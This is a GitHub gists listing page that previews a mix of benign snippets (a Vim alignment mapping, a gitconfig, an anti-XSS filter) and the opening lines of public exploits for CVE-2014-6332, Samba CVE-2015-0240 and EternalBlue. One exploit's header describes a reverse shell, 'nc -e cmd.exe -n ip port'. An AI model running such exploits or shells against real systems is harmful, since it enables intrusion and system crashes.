p4ch0u’s gists

tpope / cucumbertables.vim

Created January 26, 2010 19:51

	inoremap <silent> <Bar> <Bar><Esc>:call <SID>align()<CR>a

	function! s:align()
	let p = '^\s\|\s.\s\|\s*$'
	if exists(':Tabularize') && getline('.') =~# '^\s*\|' && (getline(line('.')-1) =~# p \|\| getline(line('.')+1) =~# p)
	let column = strlen(substitute(getline('.')[0:col('.')],'[^\|]','','g'))
	let position = strlen(matchstr(getline('.')[0:col('.')],'.\|\s\zs.*'))
	Tabularize/\|/l1
	normal! 0
	call search(repeat('[^\|]*\|',column).'\s\{-\}'.repeat('.',position),'ce',line('.'))

tdd / gitconfig.ini

Last active April 16, 2025 03:24

Nice, useful global Git configuration

	# Put this in your ~/.gitconfig or ~/.config/git/config
	# Windows users: "~" is your profile's home directory, e.g. C:\Users\<YourName>
	[user]
	name = Your Full Name
	email = [email protected]
	[color]
	# Enable colors in color-supporting terminals
	ui = auto
	[alias]
	# List available aliases

madoke / XSSRequestWrapper.java

Created April 9, 2012 22:23 — forked from ulinkwo/XSSRequestWrapper.java

Stronger Anti Cross-Site Scripting (XSS) Filter for Java Web Apps

	package pt.impresa.iweb.filters.request;

	import java.io.IOException;
	import java.text.Normalizer;
	import java.util.Collections;
	import java.util.Enumeration;
	import java.util.HashMap;
	import java.util.Map;
	import java.util.Set;
	import java.util.regex.Pattern;

worawit / cve-2014-6332_exploit.html

Last active March 30, 2024 15:02

CVE-2014-6332 IE exploit to get shell (packed everything in one html)

	<html>
	<head>
	<!--
	CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
	The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
	'server_ip' and 'server_port' in javascript below determined the connect back target

	Tested on
	- IE11 + Windows 7 64-bit (EPM is off)
	- IE11 + Windoes 8.1 64-bit (EPM is off)

worawit / cve-2015-0240_samba_exploit.py

Created April 10, 2015 14:48

Exploit for Samba vulnerabilty (CVE-2015-0240)

	#!/usr/bin/python
	"""
	Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya

	The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
	ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
	in libtalloc does not write a value on 'creds' address.

	Reference:
	- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

jerome-labidurie / index.html

Created October 17, 2015 14:01

Synology SSO server login example

	<html>
	<head>
	<!-- include Synology SSO js -->
	<script src="http://ds:5000/webman/sso/synoSSO-1.0.0.js"></script>
	</head>

	<body>

	<script>
	/** Display login/logout button.

parmentf / GitCommitEmoji.md

Last active April 19, 2025 05:11

Git Commit message Emoji

See also gitmoji.

worawit / eternalblue7_exploit.py

Last active November 1, 2024 23:12

Eternalblue exploit for Windows 7/2008

	#!/usr/bin/python
	# This file has no update anymore. Please see https://github.com/worawit/MS17-010
	from impacket import smb
	from struct import pack
	import sys
	import socket

	'''
	EternalBlue exploit for Windows 7/2008 by sleepya
	The exploit might FAIL and CRASH a target system (depended on what is overwritten)

worawit / eternalblue8_exploit.py

Last active March 16, 2024 18:38

Eternalblue exploit for Windows 8/2012

	#!/usr/bin/python
	# This file has no update anymore. Please see https://github.com/worawit/MS17-010
	from impacket import smb, ntlm
	from struct import pack
	import sys
	import socket

	'''
	EternalBlue exploit for Windows 8 and 2012 by sleepya
	The exploit might FAIL and CRASH a target system (depended on what is overwritten)

worawit / eternalblue_merge_shellcode.py

Last active April 3, 2024 12:25

Windows x64 and x86 kernel shellcode for eternalblue exploit

	# This file has no update anymore. Please see https://github.com/worawit/MS17-010
	import sys
	from struct import pack

	if len(sys.argv) < 4:
	print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
	sys.exit()

	sc_x86 = open(sys.argv[1], 'rb').read()
	sc_x64 = open(sys.argv[2], 'rb').read()

	inoremap <silent> <Bar> <Bar><Esc>:call <SID>align()<CR>a

	function! s:align()
	let p = '^\s\|\s.\s\|\s*$'
	if exists(':Tabularize') && getline('.') =~# '^\s*\|' && (getline(line('.')-1) =~# p \|\| getline(line('.')+1) =~# p)
	let column = strlen(substitute(getline('.')[0:col('.')],'[^\|]','','g'))
	let position = strlen(matchstr(getline('.')[0:col('.')],'.\|\s\zs.*'))
	Tabularize/\|/l1
	normal! 0
	call search(repeat('[^\|]*\|',column).'\s\{-\}'.repeat('.',position),'ce',line('.'))

Papa S. p4ch0u